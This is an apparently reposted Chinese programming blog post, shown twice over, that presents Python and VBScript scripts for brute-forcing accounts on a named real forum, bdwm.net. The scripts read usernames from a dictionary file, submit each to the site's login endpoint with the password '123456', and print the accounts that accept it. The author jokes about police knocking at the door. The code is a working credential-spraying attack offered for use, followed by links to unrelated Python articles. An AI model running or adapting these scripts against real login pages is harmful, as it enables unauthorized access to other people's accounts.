Python牛刀小試密碼爆破
更新時(shí)間:2011年02月03日 15:26:59 作者:
用Python與vbs分別實(shí)現(xiàn)的爆破bbs論壇賬號(hào)的代碼,學(xué)習(xí)python或vbs的朋友可以參考下。
難道真的要我破解一個(gè)么?算了,正好試試我的Python水平。
python版
#coding: gbk
import httplib, urllib
def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密碼不正確") != -1:
return False
elif res.find("不存在這個(gè)用戶") != -1:
return False
else:
return True
for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i
順便也寫了個(gè)VBS版的,感覺貌似VBS比較快,感覺出問題了?
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With
Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密碼不正確") Then
Check = False
ElseIf InStr(response,"不存在這個(gè)用戶") Then
Check = False
Else
Check = True
End If
End Function
Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function
事實(shí)證明,123456真是一個(gè)無敵的密碼。但愿晚上沒有警察叔叔敲門。
原文:http://demon.tw/programming/python-a-little-trial.html
python版
復(fù)制代碼 代碼如下:
#coding: gbk
import httplib, urllib
def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密碼不正確") != -1:
return False
elif res.find("不存在這個(gè)用戶") != -1:
return False
else:
return True
for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i
順便也寫了個(gè)VBS版的,感覺貌似VBS比較快,感覺出問題了?
復(fù)制代碼 代碼如下:
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With
Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密碼不正確") Then
Check = False
ElseIf InStr(response,"不存在這個(gè)用戶") Then
Check = False
Else
Check = True
End If
End Function
Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function
事實(shí)證明,123456真是一個(gè)無敵的密碼。但愿晚上沒有警察叔叔敲門。
原文:http://demon.tw/programming/python-a-little-trial.html
相關(guān)文章
使用Flask開發(fā)RESTful?API的方法實(shí)現(xiàn)
RESTful?API是一種基于REST架構(gòu)風(fēng)格設(shè)計(jì)的Web服務(wù)接口,本文主要介紹了使用Flask開發(fā)RESTful?API的方法實(shí)現(xiàn),具有一定的參考價(jià)值,感興趣的可以了解一下2023-11-11
使用NumPy和pandas對CSV文件進(jìn)行寫操作的實(shí)例
今天小編就為大家分享一篇使用NumPy和pandas對CSV文件進(jìn)行寫操作的實(shí)例,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-06-06
python使用BeautifulSoup與正則表達(dá)式爬取時(shí)光網(wǎng)不同地區(qū)top100電影并對比
這篇文章主要給大家介紹了關(guān)于python使用BeautifulSoup與正則表達(dá)式爬取時(shí)光網(wǎng)不同地區(qū)top100電影并對比的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家學(xué)習(xí)或者使用python具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧2019-04-04
pytorch 一行代碼查看網(wǎng)絡(luò)參數(shù)總量的實(shí)現(xiàn)
這篇文章主要介紹了pytorch實(shí)現(xiàn)一行代碼查看網(wǎng)絡(luò)參數(shù)總量的操作,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-05-05
Python實(shí)現(xiàn)自動(dòng)化表單填寫功能
在Python中,自動(dòng)化表單填寫可以通過多種庫和工具實(shí)現(xiàn),本文將詳細(xì)介紹常用的自動(dòng)化表單處理工具,并對它們進(jìn)行橫向比較,可根據(jù)需求選擇合適的工具,感興趣的小伙伴跟著小編一起來看看吧2025-03-03
解決Python中回文數(shù)和質(zhì)數(shù)的問題
今天小編就為大家分享一篇解決Python中回文數(shù)和質(zhì)數(shù)的問題,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-11-11
Python搭建HTTP服務(wù)器和FTP服務(wù)器
這篇文章主要為大家詳細(xì)介紹了Python搭建HTTP服務(wù)器和FTP服務(wù)器的相關(guān)資料,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-03-03

